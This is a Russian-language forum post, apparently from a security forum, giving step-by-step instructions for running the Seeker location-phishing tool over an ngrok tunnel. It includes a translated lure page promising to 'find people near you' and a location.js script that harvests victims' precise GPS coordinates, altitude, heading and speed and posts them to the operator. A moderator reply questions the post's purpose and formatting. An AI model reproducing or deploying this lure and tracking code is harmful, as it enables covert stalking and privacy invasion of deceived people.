seeker для самых маленьких_serveo status down

21.12.2019
3
0
BIT
0
для начала скачайте zip нгрока с этой ссылки: затем распакуйте перейдите обратно на сайт и зарегайтесь чтобы получит токен потом просто копируйте комманды с сайта только в комманде ./ngrok http 80 ставьте вместо 80 8080 и открывайте 2 терминал ctrl+shift+t зайдите в папку seeker и пропишите python3 seeker.py -t manual в следующей теме будет русский перевод лично от меня

вот обещанный перевод seeker на русский первым делом меняем index.html здесь /root/seeker/template/nearyou/
HTML:
<!DOCTYPE html>
<html lang="en">
  <head>
    <title>узнай кто рядом с тобой</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="theme-color" content="#000000">
    <link rel="icon" type="image/x-icon" href="https://www.freefavicon.com/freefavicons/icons/flat-location-logo-152-234349.png">
    <link href="https://fonts.googleapis.com/css?family=Raleway" rel="stylesheet">
    <link href="/css/main.css" rel="stylesheet">
    <script type="text/javascript">
    if (window.location.protocol == "http:") {
        var restOfUrl = window.location.href.substr(5);
        window.location = "https:" + restOfUrl;
    }</script>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
    <script src="https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js"></script>
    <script src="/js/main.js"></script>
    <script src="/js/location.js"></script>
    <script src="/js/info.js"></script>
    <script src="/js/warpspeed.min.js"></script>
  </head>
  <body onload="information();">
    <canvas id="canvas" style="width:100%; height:100%;"></canvas>
    <script>var x=new WarpSpeed('canvas',
    '{"speed":2,"speedAdjFactor":0.03,"density":1,"shape":"circle","warpEffect":true,"warpEffectLength":3,"depthFade":false,"starSize":3,"backgroundColor":"hsl(0,0%,0%)","starColor":"#FFFFFF"}');</script>
    <div><h1>НАЙДИТЕ ЛЮДЕЙ РЯДОМ С ВАМИ</h1></div>
    <div><h2>ВСТРЕЧАЙТЕ НОВЫХ ЛЮДЕЙ И ЗАВОДИТЕ НОВЫХ ДРУЗЕЙ</h2></div>
    <div class="earth"></div>
    <div><button id="change" class="button" type="button" onclick="main()">продолжить</button></div>
    <div class="text" id="result"></div>
  </body>
</html>

а затем меняем в папке /root/seeker/template/nearyou/js/ файл location.js на мой
JavaScript:
function locate()
{
  if(navigator.geolocation)
  {
    var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
    navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
  }
  else
  {
    alert('Geolocation is not Supported by your Browser...');
  }

  function showPosition(position)
  {
    var lat = position.coords.latitude;
    var lon = position.coords.longitude;
    var acc = position.coords.accuracy;
    var alt = position.coords.altitude;
    var dir = position.coords.heading;
    var spd = position.coords.speed;

    $.ajax({
      type: 'POST',
      url: '/php/result.php',
      data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
      success: function(){$('#change').html('скоро будет');},
      mimeType: 'text'
    });
    alert('СПАСИБО ПОЛЬЗУЙТЕСЬ САЙТОМ ЕЩЁ');
  };
}

function showError(error)
{
    switch(error.code)
  {
        case error.PERMISSION_DENIED:
            var denied = 'User denied the request for Geolocation';
      alert('ОШИБКА пожалуйста укажите местоположение');
      break;
        case error.POSITION_UNAVAILABLE:
            var unavailable = 'Location information is unavailable';
            break;
        case error.TIMEOUT:
            var timeout = 'The request to get user location timed out';
      alert('Please Set Your Location Mode on High Accuracy...');
            break;
        case error.UNKNOWN_ERROR:
            var unknown = 'An unknown error occurred';
            break;
    }

  $.ajax({
    type: 'POST',
    url: '/php/error.php',
    data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown},
    success: function(){$('#change').html('ошибка дайте данные о местоположении');},
    mimeType: 'text'
  });
}
 

f22

Codeby Academy
Gold Team
05.05.2019
1 928
226
BIT
1 697
для начала скачайте zip нгрока с этой ссылки: затем распакуйте перейдите обратно на сайт и зарегайтесь чтобы получит токен потом просто копируйте комманды с сайта только в комманде ./ngrok http 80 ставьте вместо 80 8080 и открывайте 2 терминал ctrl+shift+t зайдите в папку seeker и пропишите python3 seeker.py -t manual
Главный вопрос: сделав всё это, что получится?

Вот правила оформления статей
Как ты считаешь, твоя заметка соответствует им?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!